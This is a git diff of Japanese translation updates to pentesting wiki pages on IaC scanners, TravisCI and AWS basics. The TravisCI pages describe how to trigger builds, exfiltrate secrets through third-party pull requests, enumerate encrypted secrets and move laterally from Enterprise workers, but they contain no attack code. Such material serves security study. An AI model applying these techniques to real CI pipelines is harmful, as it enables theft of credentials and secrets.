misconfigurations をシームレスにスキャンする。 +- provisioned された cloud infrastructure の configuration changes を監視し、posture drift を引き起こす変更を検出して、安全な posture に戻せるようにする。 +- security vulnerabilities と compliance violations を検出する。 +- cloud native infrastructure を provisioning する前にリスクを軽減する。 +- ローカルで実行するか、CI\CD と統合して使う柔軟性を提供する。 ```bash brew install terrascan terrascan scan -d /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Checkmarxによる**KICS**を使用して、Infrastructure-as-Codeの開発サイクルの早い段階で、セキュリティ脆弱性、コンプライアンス問題、およびインフラ設定の誤りを発見します。 +Checkmarx の **KICS** を使って、Infrastructure-as-code の開発サイクルの早い段階で、security vulnerabilities、compliance issues、そして infrastructure misconfigurations を見つけます。 -**KICS**は「Keeping Infrastructure as Code Secure」の略で、オープンソースであり、あらゆるクラウドネイティブプロジェクトにとって必須のツールです。 +**KICS** は **K**eeping **I**nfrastructure as **C**ode **S**ecure の略で、open source であり、あらゆる cloud native プロジェクトに必須です。 ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan は Infrastructure as Code（IaC）の静的コード解析ツールです。Terrascan により以下が可能になります: +[**docs**](https://github.com/tenable/terrascan) より: Terrascan は Infrastructure as Code 向けの static code analyzer です。Terrascan を使うと、以下が可能です。 -- IaC の誤設定をシームレスにスキャンする。 -- プロビジョニング済みのクラウドインフラを監視し、設定変更によって生じる構成ドリフト（posture drift）を検出し、セキュアな状態へ戻すことを可能にする。 -- セキュリティ脆弱性やコンプライアンス違反を検出する。 -- クラウドネイティブなインフラをプロビジョニングする前にリスクを軽減する。 -- ローカルで実行するか、CI\CD に統合する柔軟性を提供する。 +- infrastructure as code をシームレスに scan して misconfigurations を検出する。 +- provision された cloud infrastructure を監視し、configuration changes によって posture drift を引き起こす変更を検知して、secure posture へ戻せるようにする。 +- security vulnerabilities と compliance violations を検出する。 +- cloud native infrastructure を provisioning する前に risks を軽減する。 +- local で実行するか、CI\CD に integrate するかを柔軟に選べる。 ```bash brew install terrascan ``` -## 参考文献 +## References - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index 26eb02c94..42ad66c33 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,63 +1,63 @@ -# TravisCI セキュリティ +# TravisCI Security {{#include ../../banners/hacktricks-training.md}} -## TravisCI とは +## TravisCIとは -**Travis CI** は、**ホスティング**または**オンプレミス**の**継続的インテグレーション**サービスで、複数の**異なる git プラットフォーム**にホストされたソフトウェアプロジェクトをビルドおよびテストするために使用されます。 +**Travis CI** は、複数の**異なる git platform** でホストされているソフトウェアプロジェクトをビルドしてテストするために使われる、**hosted** または **on premises** の **continuous integration** サービスです。 {{#ref}} basic-travisci-information.md {{#endref}} -## 攻撃 +## Attacks -### トリガー +### Triggers -攻撃を開始するには、まずビルドをトリガーする方法を知っておく必要があります。デフォルトでは、TravisCI は**プッシュとプルリクエストでビルドをトリガーします**： +attack を開始するには、まず build をどうやって trigger するかを知る必要があります。デフォルトでは TravisCI は **push と pull request で build を trigger** します: -![](<../../images/image (145).png>) +![Travis CI trigger settings with build pushed branches and build pushed pull requests enabled](<../../images/image (145).png>) -#### Cron ジョブ +#### Cron Jobs -Web アプリケーションにアクセスできる場合、**ビルドを実行するための cron を設定できます**。これは持続性のためやビルドをトリガーするために役立ちます： +web application にアクセスできる場合は、**build を実行する crons を設定**できます。これは persistence や build の trigger に役立つ可能性があります: -![](<../../images/image (243).png>) +![Travis CI cron job settings with branch, interval, options, and add button](<../../images/image (243).png>) > [!NOTE] -> [これ](https://github.com/travis-ci/travis-ci/issues/9162)によると、`.travis.yml` 内で cron を設定することはできないようです。 +> [this](https://github.com/travis-ci/travis-ci/issues/9162) によると、`.travis.yml` 内で crons を設定することはできないようです。 -### サードパーティ PR +### Third Party PR -TravisCI はデフォルトでサードパーティからの PR と環境変数を共有することを無効にしていますが、誰かがそれを有効にすると、リポジトリに PR を作成して秘密を抽出することができます： +TravisCI はデフォルトで third parties から来た PR への env variables の共有を無効にしていますが、誰かがそれを有効にしている可能性があります。その場合、repo に対して PR を作成して secrets を exfiltrate できます: -![](<../../images/image (208).png>) +![Travis CI pull request security setting for sharing encrypted environment variables with forks](<../../images/image (208).png>) -### 秘密のダンプ +### Dumping Secrets -[**基本情報**](basic-travisci-information.md) ページで説明されているように、秘密には 2 種類あります。**環境変数の秘密**（Web ページにリストされています）と、**カスタム暗号化された秘密**で、これは `.travis.yml` ファイル内に base64 として保存されています（両方とも暗号化されて保存されると、最終的なマシンの環境変数として扱われます）。 +[**basic information**](basic-travisci-information.md) ページで説明したように、secrets には 2 種類あります。**Environment Variables secrets**（web page に一覧表示されるもの）と、`.travis.yml` ファイル内に base64 として保存される **custom encrypted secrets** です（どちらも encrypted のまま保存されますが、最終的な machines では env variables になります）。 -- **環境変数**として設定された**秘密を列挙する**には、**プロジェクト**の**設定**に移動し、リストを確認します。ただし、ここで設定されたすべてのプロジェクト環境変数は、ビルドをトリガーすると表示されることに注意してください。 -- **カスタム暗号化された秘密**を列挙するには、最善の方法は**`.travis.yml` ファイルを確認する**ことです。 -- **暗号化されたファイル**を列挙するには、リポジトリ内の**`.enc` ファイル**を確認するか、設定ファイル内の `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` に似た行を探すか、次のような**環境変数**内の**暗号化された iv とキー**を探します： +- **Environment Variables** として設定された secrets を **enumerate** するには、**project** の **settings** に行って list を確認します。ただし、ここで設定された project env variables は、build を trigger するとすべて表示される点に注意してください。 +- **custom encrypted secrets** を enumerate するには、**`.travis.yml` file を確認**するのが最善です。 +- **encrypted files** を enumerate するには、repo 内の **`.enc` files** を確認するか、config file 内の `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` のような行を探すか、あるいは **Environment Variables** 内の **encrypted iv and keys** を確認します。たとえば: -![](<../../images/image (81).png>) +![Travis CI environment variables page showing encrypted file IV and key variable names](<../../images/image (81).png>) ### TODO: -- Windows/Mac/Linux で実行されるリバースシェルを持つビルドの例 -- ログにエンコードされた環境変数を漏洩させるビルドの例 +- Windows/Mac/Linux で reverse shell を実行する build の例 +- logs に base64 エンコードされた env が leak する build の例 -### TravisCI エンタープライズ +### TravisCI Enterprise -攻撃者が**TravisCI エンタープライズ**を使用している環境に入った場合（これについての詳細は[**基本情報**](basic-travisci-information.md#travisci-enterprise)を参照）、彼は**Worker でビルドをトリガーする**ことができます。これは、攻撃者がそのサーバーに横移動できることを意味し、そこから次のことが可能になります： +attack 者が **TravisCI enterprise** を使用している環境に入った場合（これが何かについての詳細は [**basic information**](basic-travisci-information.md#travisci-enterprise) を参照）、**Worker で build を trigger** できるようになります。つまり、attack 者はその server に lateral movement できるようになり、そこから以下が可能になるかもしれません: -- ホストに脱出する？ -- Kubernetes を侵害する？ -- 同じネットワーク内の他のマシンを侵害する？ -- 新しいクラウド資格情報を侵害する？ +- host へ escape する? +- kubernetes を compromise する? +- 同じ network 上で動作している他の machines を compromise する? +- 新しい cloud credentials を compromise する? -## 参考文献 +## References - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 0104cb883..5ab4345ed 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,45 +1,45 @@ -# 基本的なTravisCI情報 +# Basic TravisCI Information {{#include ../../banners/hacktricks-training.md}} -## アクセス +## Access -TravisCIは、Github、Bitbucket、Assembla、Gitlabなどの異なるgitプラットフォームと直接統合されます。ユーザーにTravisCIが統合したいリポジトリにアクセスするための権限を与えるよう求めます。 +TravisCIはGithub、Bitbucket、Assembla、Gitlabなどのさまざまなgitプラットフォームと直接統合します。ユーザーに対し、TravisCIと連携したいreposへアクセスするためのTravisCI権限の付与を求めます。 -例えば、Githubでは以下の権限を求めます： +例えばGithubでは、次の権限を求めます。 -- `user:email`（読み取り専用） -- `read:org`（読み取り専用） -- `repo`：公開およびプライベートリポジトリと組織のコード、コミットステータス、コラボレーター、およびデプロイメントステータスへの読み取りおよび書き込みアクセスを付与します。 +- `user:email` (read-only) +- `read:org` (read-only) +- `repo`: 公開および非公開のrepositoriesとorganizationsに対して、code、commit statuses、collaborators、deployment statusesへのread/write accessを付与します。 -## 暗号化された秘密 +## Encrypted Secrets -### 環境変数 +### Environment Variables -TravisCIでは、他のCIプラットフォームと同様に、**リポジトリレベルで秘密を保存する**ことが可能で、これらは暗号化されて保存され、**ビルドを実行するマシンの環境変数に復号化されてプッシュされます**。 +TravisCIでは、他のCI platformsと同様に、**repo level secretsとして保存**することができ、暗号化されて保存され、buildを実行するmachineの**environment variableとしてdecryptされて渡されます**。 -![](<../../images/image (203).png>) +![Travis CI environment variables settings with a masked SUPERSECRET value and branch selector](<../../images/image (203).png>) -**秘密が利用可能になるブランチを指定する**ことが可能です（デフォルトではすべて）し、またTravisCIが**ログに表示された場合にその値を隠すべきか**（デフォルトでは隠します）も指定できます。 +**secretsを利用可能にするbranches**を指定することができ（defaultではall）、さらにTravisCIが**logsに表示された場合にその値を隠すべきか**どうかも指定できます（defaultでは隠します）。 -### カスタム暗号化された秘密 +### Custom Encrypted Secrets -**各リポジトリ**に対してTravisCIは**RSAキーペア**を生成し、**プライベート**キーを保持し、リポジトリに**アクセス**できる人々にリポジトリの**公開鍵を提供します**。 +**各repo**ごとにTravisCIは**RSA keypair**を生成し、**private**側を**保持**し、repositoryの**public key**を、それに対して**access**を持つ人に公開します。 -リポジトリの公開鍵にアクセスするには、次のようにします： +1つのrepoのpublic keyには次の方法でアクセスできます： ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -このセットアップを使用して、**秘密を暗号化し、それを `.travis.yaml` に追加できます**。秘密は **ビルドが実行されるときに復号化され**、**環境変数**でアクセス可能になります。 +Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. -![](<../../images/image (139).png>) +![Terminal output from travis encrypt adding a secure value to the .travis.yml file](<../../images/image (139).png>) -この方法で暗号化された秘密は、設定の環境変数にリストされないことに注意してください。 +Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. -### カスタム暗号化ファイル +### Custom Encrypted Files -以前と同様に、TravisCIは**ファイルを暗号化し、ビルド中に復号化することも許可します**： +Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -57,32 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -ファイルを暗号化する際には、リポジトリ内に2つの環境変数が設定されることに注意してください。 +ファイルを暗号化する際、リポジトリ内に次のような2つの Env Variables が設定されます: -![](<../../images/image (170).png>) +![Travis CI environment variables page showing encrypted file IV and key variable names](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterpriseは、**Travis CIのオンプレミス版**であり、**あなたのインフラストラクチャにデプロイすることができます**。Travis CIの「サーバー」版と考えてください。Travis CIを使用すると、あなたが望むように構成およびセキュリティを設定できる環境で、使いやすい継続的インテグレーション/継続的デプロイメント（CI/CD）システムを有効にすることができます。 +Travis CI Enterprise は、**Travis CI のオンプレ版**で、**あなたの infrastructure** にデプロイできます。Travis CI の「server」版のように考えてください。Travis CI を使うことで、自由に構成・保護できる環境で、使いやすい Continuous Integration/Continuous Deployment (CI/CD) システムを有効にできます。 -**Travis CI Enterpriseは2つの主要な部分で構成されています：** +**Travis CI Enterprise は、主に 2 つの部分で構成されます:** -1. TCI **サービス**（またはTCIコアサービス）は、バージョン管理システムとの統合、ビルドの承認、ビルドジョブのスケジューリングなどを担当します。 -2. TCI **ワーカー**およびビルド環境イメージ（OSイメージとも呼ばれます）。 +1. バージョン管理システムとの連携、build の認可、build job のスケジューリングなどを担当する TCI **services**（または TCI Core Services）。 +2. TCI **Worker** と build environment images（OS images とも呼ばれる）。 -**TCIコアサービスには以下が必要です：** +**TCI Core services には以下が必要です:** -1. **PostgreSQL11**（またはそれ以降）のデータベース。 -2. Kubernetesクラスターをデプロイするためのインフラストラクチャ；必要に応じてサーバークラスターまたは単一のマシンにデプロイできます。 -3. セットアップに応じて、RabbitMQなどのコンポーネントを自分でデプロイおよび構成することを検討するかもしれません - 詳細については[Travis CI Enterpriseの設定](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)を参照してください。 +1. **PostgreSQL11**（またはそれ以降）の database。 +2. Kubernetes cluster をデプロイするための infrastructure。必要に応じて server cluster でも単一マシンでもデプロイできます。 +3. 構成によっては、一部のコンポーネントを自前でデプロイ・設定したい場合があります。たとえば RabbitMQ です。詳細は [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) を参照してください。 -**TCIワーカーには以下が必要です：** +**TCI Worker には以下が必要です:** -1. **ワーカーとリンクされたビルドイメージを含むdockerイメージをデプロイできるインフラストラクチャ**。 -2. 特定のTravis CIコアサービスコンポーネントへの接続 - 詳細については[ワーカーの設定](https://docs.travis-ci.com/user/enterprise/setting-up-worker/)を参照してください。 +1. **Worker と linked build image を含む docker image をデプロイできる** infrastructure。 +2. 特定の Travis CI Core Services コンポーネントへの接続性。詳細は [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) を参照してください。 -デプロイされたTCIワーカーおよびビルド環境OSイメージの数は、あなたのインフラストラクチャにおけるTravis CI Enterpriseデプロイメントの総同時容量を決定します。 +デプロイされた TCI Worker と build environment OS images の数によって、あなたの infrastructure 上での Travis CI Enterprise デプロイの総同時処理能力が決まります。 -![](<../../images/image (199).png>) +![Travis CI Enterprise architecture diagram with core services, database, workers, and build environments](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 663bac940..92aa11823 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,191 +1,191 @@ -# AWS - 基本情報 +# AWS - Basic Information {{#include ../../../banners/hacktricks-training.md}} -## 組織階層 +## Organization Hierarchy -![](<../../../images/image (151).png>) +![AWS Organizations hierarchy diagram with organization root, organizational units, member accounts, policies, and users](<../../../images/image (151).png>) -### アカウント +### Accounts -AWS には **ルートアカウント** があり、これは **組織内のすべてのアカウントの親コンテナ** です。しかし、そのアカウントを使用してリソースをデプロイする必要はなく、**異なる AWS** インフラストラクチャを分離するために **他のアカウントを作成** できます。 +In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. -これは **セキュリティ** の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**（特別にブリッジが作成されていない限り）。このようにして、デプロイメント間に境界を作成できます。 +This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. -したがって、組織内には **2種類のアカウント** があります（AWS アカウントについて話しており、ユーザーアカウントではありません）：管理アカウントとして指定された単一のアカウントと、1つ以上のメンバーアカウントです。 +Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. -- **管理アカウント（ルートアカウント）** は、組織を作成するために使用するアカウントです。組織の管理アカウントから、次のことができます： +- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: -- 組織内にアカウントを作成する -- 他の既存のアカウントを組織に招待する -- 組織からアカウントを削除する -- 招待状を管理する -- 組織内のエンティティ（ルート、OU、またはアカウント）にポリシーを適用する -- 組織内のすべてのアカウントにサービス機能を提供するために、サポートされている AWS サービスとの統合を有効にする。 -- このルートアカウント/組織を作成するために使用したメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。 +- Create accounts in the organization +- Invite other existing accounts to the organization +- Remove accounts from the organization +- Manage invitations +- Apply policies to entities (roots, OUs, or accounts) within the organization +- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. +- It's possible to login as the root user using the email and password used to create this root account/organization. -管理アカウントは **支払いアカウントの責任** を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。 +The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. -- **メンバーアカウント** は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用できます。 -- メンバーアカウントは **有効なメールアドレスを使用する必要があり**、**名前** を持つことができます。一般的に、請求を管理することはできません（ただし、アクセスが与えられる場合があります）。 +- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. +- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` -### **組織単位** +### **Organization Units** -アカウントは**組織単位 (OU)**にグループ化できます。このようにして、組織単位に対して**ポリシー**を作成し、それが**すべての子アカウントに適用される**ようにできます。OUは他のOUを子として持つことができることに注意してください。 +Accounts は **Organization Units (OU)** にグループ化できます。これにより、Organization Unit 用の **policies** を作成でき、それは **すべての子アカウントに適用** されます。OU は子として他の OU を持つこともできる点に注意してください。 ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -**サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーとロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。 +**service control policy (SCP)** は、SCP の影響を受けるアカウントでユーザーやロールが使用できる services と actions を指定する policy です。SCP は **IAM** permissions policies に似ていますが、**いかなる permissions も付与しません**。代わりに、SCP は organization、organizational unit (OU)、または account の **maximum permissions** を指定します。organization root または OU に SCP をアタッチすると、**SCP は member accounts の entities に対する permissions を制限**します。 -これは**ルートユーザーでさえ何かをするのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのを止めるために使用できます。\ -これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです（マスターアカウントはブロックできません）。 +これが、**root user でさえ何かを実行できないように止められる唯一の方法**です。たとえば、CloudTrail の無効化や backups の削除を防ぐために使えます。\ +これを回避する唯一の方法は、SCP を設定している **master account** も compromise することです（master account は block できません）。 > [!WARNING] -> **SCPはアカウント内のプリンシパルのみを制限**するため、他のアカウントには影響しません。これは、SCPが`s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスする人を止めることはできない**ことを意味します。 +> **SCPs only restrict the principals in the account**, なので他の accounts には影響しません。つまり、SCP で `s3:GetObject` を deny しても、あなたの account 内の **public S3 bucket にアクセスすること**は止められません。 -SCPの例： +SCP の例: -- ルートアカウントを完全に拒否 -- 特定のリージョンのみを許可 -- ホワイトリストに登録されたサービスのみを許可 -- GuardDuty、CloudTrail、およびS3のパブリックブロックアクセスを無効にすることを拒否 +- root account を完全に deny する +- 特定の regions のみ allow する +- white-listed services のみ allow する +- GuardDuty、CloudTrail、S3 Public Block Access の無効化を deny する -- セキュリティ/インシデントレスポンスロールの削除または +- security/incident response roles の削除や -変更を拒否。 +修正を deny する。 -- バックアップの削除を拒否。 -- IAMユーザーとアクセスキーの作成を拒否。 +- backups の削除を deny する。 +- IAM users と access keys の作成を deny する -**JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。 +**JSON examples** は [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) で確認できます ### Resource Control Policy (RCP) -**リソースコントロールポリシー (RCP)** は、**AWS組織内のリソースに対する最大権限を定義するポリシー**です。RCPは構文においてIAMポリシーに似ていますが、**権限を付与しません**—他のポリシーによってリソースに適用できる権限を制限するだけです。RCPを組織のルート、組織単位 (OU)、またはアカウントにアタッチすると、RCPは影響を受ける範囲内のすべてのリソースに対するリソース権限を制限します。 +**resource control policy (RCP)** は、**AWS organization 内の resources に対する maximum permissions** を定義する policy です。RCP は構文的には IAM policies に似ていますが、permissions を**付与しません**。他の policies によって resources に適用できる permissions を上限で制限するだけです。organization root、organizational unit (OU)、または account に RCP をアタッチすると、RCP は影響を受ける scope 全体のすべての resources に対する resource permissions を制限します。 -これは**リソースが事前定義されたアクセスレベルを超えないことを保証する唯一の方法**です—アイデンティティベースまたはリソースベースのポリシーが過剰に許可されている場合でも。これらの制限を回避する唯一の方法は、組織の管理アカウントによって設定されたRCPを変更することです。 +これが、**resources が事前定義された access levels を超えないことを保証する唯一の方法**です。identity-based policy や resource-based policy が permissive すぎる場合でも同様です。これらの limits を回避する唯一の方法は、organization の management account によって設定された RCP も変更することです。 > [!WARNING] -> RCPはリソースが持つことができる権限のみを制限します。プリンシパルが何をできるかを直接制御するわけではありません。例えば、RCPがS3バケットへの外部アクセスを拒否する場合、それはバケットの権限が設定された制限を超えるアクションを許可しないことを保証します—リソースベースのポリシーが誤って設定されていても。 +> RCPs only restrict the permissions that resources can have. They don’t directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the bucket’s permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured. -RCPの例： +RCP の例: -- S3バケットを制限し、あなたの組織内のプリンシパルのみがアクセスできるようにする -- KMSキーの使用を信頼された組織アカウントからの操作のみを許可するように制限 -- SQSキューの権限を制限し、不正な変更を防ぐ -- Secrets Managerのシークレットにアクセス境界を強制し、機密データを保護する +- S3 buckets を、organization 内の principals からのみアクセス可能に制限する +- KMS key usage を、trusted organizational accounts からの operations のみに制限する +- SQS queues の permissions を上限設定して、unauthorized modifications を防ぐ +- Secrets Manager secrets に access boundaries を適用して sensitive data を保護する -例は[AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)で見つけてください。 +例は [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) で確認できます ### ARN -**Amazon Resource Name**は、AWS内のすべてのリソースが持つ**一意の名前**で、次のように構成されています： +**Amazon Resource Name** は、AWS 内のすべての resource が持つ **unique name** で、次のように構成されます: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -注意：AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです： +AWS には 4 つの partition がありますが、呼び方は 3 通りしかありません: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - アイデンティティとアクセス管理 +## IAM - Identity and Access Management -IAMは、AWSアカウント内で**認証**、**承認**、および**アクセス制御**を管理することを可能にするサービスです。 +IAM は、AWS アカウント内で **Authentication**、**Authorization**、**Access Control** を管理できるサービスです。 -- **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に細分化できます。 -- **承認** - アイデンティティがシステム内でアクセスできるものを決定します。 -- **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス +- **Authentication** - identity を定義し、その identity を検証するプロセス。このプロセスは Identification と verification に分けられます。 +- **Authorization** - authentication 済みの identity が、システム内で何にアクセスできるかを決定します。 +- **Access Control** - secure resource への access がどのように付与されるかの方法とプロセス -IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、承認、およびアクセス制御メカニズムを管理、制御、統治する能力によって定義されます。 +IAM は、AWS アカウント内のリソースに対する identity の authentication、authorization、access control の仕組みを管理、制御、統治する能力として定義できます。 -### [AWSアカウントのルートユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが与えられます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。 +最初に Amazon Web Services (AWS) アカウントを作成すると、そのアカウント内の **すべての AWS service と resource へ完全に access できる** 単一の sign-in identity から始まります。これが AWS アカウントの _**root user**_ であり、**アカウント作成時に使用した email address と password** で sign in して利用します。 -新しい**管理者ユーザー**は**ルートユーザーよりも権限が少ない**ことに注意してください。 +新しい **admin user** は **root user よりも少ない permissions** を持つことに注意してください。 -セキュリティの観点からは、他のユーザーを作成し、このユーザーの使用を避けることが推奨されます。 +security の観点からは、他の user を作成し、これを使わないことが推奨されます。 -### [IAMユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -IAM _ユーザー_ は、AWS内で**人またはアプリケーションを表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報（パスワードと最大2つのアクセスキー）で構成されます。 +IAM _user_ は、AWS 内に作成する entity で、**AWS とやり取りする人または application を表す** ために使います。AWS の user は、name と credentials (password と最大 2 つの access keys) で構成されます。 -IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーを直接ユーザーに添付**することができます。 +IAM user を作成すると、適切な permission policies が付いた **user group の member にする** ことで **permissions** を付与できます (推奨)。または、user に **直接 policies を attach** することでも付与できます。 -ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります（例 [**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)）。 +user は console 経由の login に対して **MFA enabled** にできます。MFA enabled user の API tokens は MFA で保護されません。MFA を使って **user の API keys への access を制限** したい場合は、特定の action を実行するには MFA が必要であることを policy に明記する必要があります (例: [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 #### CLI -- **アクセスキーID**: 20のランダムな大文字の英数字の文字列（例：AKHDNAPO86BSHKDIRYT） -- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列（例：S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU）（失われたシークレットアクセスキーIDを取得することはできません）。 +- **Access Key ID**: AKHDNAPO86BSHKDIRYT のような 20 文字のランダムな大文字英数字 +- **Secret access key ID**: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU のような 40 文字のランダムな大文字小文字混在文字列 (失われた secret access key IDs を取得することはできません)。 -**アクセスキーを変更する必要がある場合**は、次のプロセスに従う必要があります：\ -_新しいアクセスキーを作成 -> 新しいキーをシステム/アプリケーションに適用 -> 元のキーを非アクティブとしてマーク -> 新しいアクセスキーが機能していることをテストおよび確認 -> 古いアクセスキーを削除_ +**Access Key** を変更する必要があるときは、次の手順に従います:\ +_新しい access key を作成 -> 新しい key を system/application に適用 -> 元のものを inactive にする -> 新しい access key が動作することを test して verify する -> 古い access key を delete_ -### MFA - 多要素認証 +### MFA - Multi Factor Authentication -これは、既存の方法（パスワードなど）に加えて**認証のための追加の要素を作成する**ために使用され、マルチファクターレベルの認証を作成します。\ -**無料の仮想アプリケーションまたは物理デバイス**を使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。 +これは、password などの既存の方法に加えて、**authentication のための追加 factor を作成する** ために使われます。これにより multi-factor level の authentication になります。\ +**無料の virtual application または physical device** を使用できます。AWS で MFA を有効化するために、google authentication のような無料の app を使えます。 -MFA条件を持つポリシーは、次のものに添付できます： +MFA conditions を持つ policies は、次のものに attach できます: -- IAMユーザーまたはグループ -- Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース -- ユーザーによって引き受けられるIAMロールの信頼ポリシー +- IAM user または group +- Amazon S3 bucket、Amazon SQS queue、Amazon SNS topic などの resource +- user によって assume される IAM role の trust policy -**CLIを介して**MFAを**チェックする**リソースにアクセスしたい場合は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\ -**`AssumeRole`の資格情報にはこの情報が含まれていない**ことに注意してください。 +**MFA を確認する** resource に **CLI 経由で access** したい場合は、**`GetSessionToken`** を呼ぶ必要があります。これにより、MFA に関する情報を含む token が得られます。\ 